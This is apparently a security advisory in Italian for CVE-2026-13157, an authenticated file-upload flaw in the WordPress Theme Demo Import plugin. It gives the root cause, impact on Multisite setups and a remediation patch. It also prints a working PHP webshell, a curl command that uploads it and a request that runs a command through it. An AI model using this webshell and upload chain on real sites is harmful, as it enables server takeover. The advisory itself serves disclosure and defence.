
Proof of concept e analisi delle cause radice per un caricamento arbitrario di file autenticato in WordPress Theme Demo Import che porta all'esecuzione remota di codice tramite una webshell PHP.
CVE-2026-13157 è una vulnerabilità autenticata di caricamento arbitrario di file che colpisce il plugin WordPress Theme Demo Import precedente e incluso alla versione 1.1.3, scoperta e analizzata dal ricercatore di sicurezza informatica Huynh Kien Minh (MinhHK). La vulnerabilità risiede nella routine AJAX di importazione demo (TDI_import_demo_data), dove il plugin disabilita esplicitamente i test standard di verifica del tipo di file di WordPress ('test_type' => false) durante l'elaborazione del caricamento. Un utente autenticato con capacità di importazione — come un amministratore predefinito del sito o un amministratore non super-admin di un sito in un'architettura WordPress Multisite — può aggirare le restrizioni sui file per caricare script PHP eseguibili arbitrari direttamente nella directory pubblica wp-content/uploads/, ottenendo Esecuzione di Codice Remota (RCE) persistente e il completo compromesso del server.
La causa radice di CVE-2026-13157 risiede nell'architettura di gestione del caricamento file implementata in inc/class-tdi-helpers.php. Durante le operazioni di importazione dei dati demo, il plugin gestisce gli allegati in arrivo tramite l'endpoint AJAX registrato in inc/class-tdi-main.php alla riga 55:
// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );
Quando elabora i file di configurazione demo caricati (content_file, widget_file e customizer_file), il metodo di importazione interno istruisce direttamente l'API WordPress wp_handle_upload() a bypassare i controlli di validazione del modulo e del tipo MIME:
// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
'test_form' => false,
'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);
// Handle demo content and widgets file upload.
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
Passando 'test_type' => false dentro $upload_overrides, lo sviluppatore ha sovrascritto il sottosistema di verifica MIME del core di WordPress (wp_check_filetype_and_ext()). Come conseguenza diretta, l'applicazione non limita più gli allegati ai formati sicuri di dati demo (.xml, .json, .wie, .dat), consentendo a qualsiasi utente autenticato con accesso alla pagina delle impostazioni di caricare script PHP eseguibili (.php, .phtml, .phar) direttamente nella document root pubblica.
Nota Etica di Ricerca: Questo proof of concept è documentato strettamente per finalità educative di audit, ingegneria difensiva e validazione di sicurezza autorizzata. Lo sfruttamento non autorizzato di sistemi live è proibito.
<= 1.1.3.import (Admin / Site Admin Multisite).tdi-ajax-verification (esposto nel DOM della pagina come proprietà dell'oggetto JavaScript tdi.ajax_nonce su /wp-admin/themes.php?page=theme-demo-import).exploit_webshell.php:<?php
if(isset($_REQUEST['cmd'])){
system($_REQUEST['cmd']);
} else {
echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
-F "action=TDI_import_demo_data" \
-F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
-F "content_file=@exploit_webshell.php;type=application/x-php"
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>
Mentre le installazioni WordPress mono-sito concedono agli Amministratori standard il controllo fidato dell'ambiente server, CVE-2026-13157 introduce il collasso critico dei confini di sicurezza nelle implementazioni Enterprise e Multisite:
unfiltered_upload è riservata esclusivamente ai Network Super Admin). CVE-2026-13157 frantuma completamente questo isolamento multi-tenant, consentendo a un amministratore di sotto-sito non verificato di piazzare una web shell ed eseguire comandi di sistema sull'intera rete di server.DISALLOW_FILE_EDIT). Questa vulnerabilità aggira le restrizioni dell'hosting sfruttando il meccanismo nativo di trasferimento file del plugin per scrivere codice eseguibile arbitrario direttamente nello storage del volume scrivibile.Per risolvere in modo sicuro CVE-2026-13157, i manutentori del software e gli ingegneri difensivi devono immediatamente ripristinare una rigorosa validazione del tipo MIME e dell'estensione file nella logica di gestione del caricamento in inc/class-tdi-helpers.php.
Rimuovere l'override insicuro 'test_type' => false e imporre una rigorosa allowlist limitata strettamente alle strutture di esportazione standard di WordPress (text/xml, application/json):
// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 510)
$upload_overrides = array(
'test_form' => false,
'test_type' => true, // Enforce strict core file-type verification
'mimes' => array(
'xml' => 'text/xml',
'json' => 'application/json',
'wie' => 'application/json',
'dat' => 'text/plain',
),
);
// Perform capability check before handling upload
if ( ! current_user_can( 'import' ) ) {
wp_send_json_error( array( 'message' => __( 'Insufficient privileges to perform import.', 'theme-demo-import' ) ), 403 );
}
// Proceed with validated file handling
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
Huynh Kien Minh (MinhHK) è un ricercatore di sicurezza informatica, sviluppatore software e analista di vulnerabilità specializzato in sicurezza offensiva delle applicazioni web, audit dell'architettura delle applicazioni PHP e vettori di sfruttamento enterprise. Le sue scoperte e advisory tecniche sono state formalmente riconosciute dai principali database globali di vulnerabilità e dalle autorità di denominazione della sicurezza dei prodotti.
{
"@context": "https://schema.org",
"@graph": [
{
"@type": "TechArticle",
"@id": "https://github.com/MinhHK68/CVE-2026-13157#article",
"headline": "CVE-2026-13157: Theme Demo Import Arbitrary File Upload & Remote Code Execution Advisory",
"alternativeHeadline": "Technical Deep-Dive and Exploit Analysis for CVE-2026-13157 by Huynh Kien Minh",
"author": {
"@type": "Person",
"name": "Huynh Kien Minh",
"alternateName": "MinhHK",
"url": "https://minhhk.web.app/"
},
"datePublished": "2026-08-01",
"inLanguage": "en-US",
"description": "Comprehensive security research advisory for CVE-2026-13157 affecting Theme Demo Import WordPress plugin prior to version 1.1.3. Analyzes arbitrary file upload vulnerability via disabled test_type check leading to Remote Code Execution.",
"keywords": ["CVE-2026-13157", "Theme Demo Import", "Arbitrary File Upload", "Remote Code Execution", "RCE", "WordPress Security", "Huynh Kien Minh", "MinhHK", "WPScan"]
},
{
"@type": "SecurityAdvisory",
"@id": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/#advisory",
"identifier": "CVE-2026-13157",
"name": "Theme Demo Import <= 1.1.3 - Admin+ Arbitrary File Upload",
"category": "Arbitrary File Upload / RCE",
"cvssScore": "6.6",
"severity": "Medium",
"softwareVersion": "<= 1.1.3",
"url": "https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/"
}
]
}
| Parametro | Specifica Tecnica |
|---|
| Identificatore della Vulnerabilità | CVE-2026-13157 |
| Software Target | Theme Demo Import (Plugin WordPress) |
| Slug del Plugin | theme-demo-import |
| Versioni Affette | <= 1.1.3 |
| Classe di Vulnerabilità | Caricamento non limitato di file con tipo pericoloso (CWE-434 / OWASP A03) |
| Punteggio CVSS v3.1 | 6.6 (Medio) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H) |
| Scopritore / Ricercatore | Huynh Kien Minh (MinhHK) |
| Autorità di Verifica | WPScan / MITRE Corporation |
| URL Advisory WPScan | https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/ |
| Portfolio del Ricercatore | https://minhhk.web.app/ |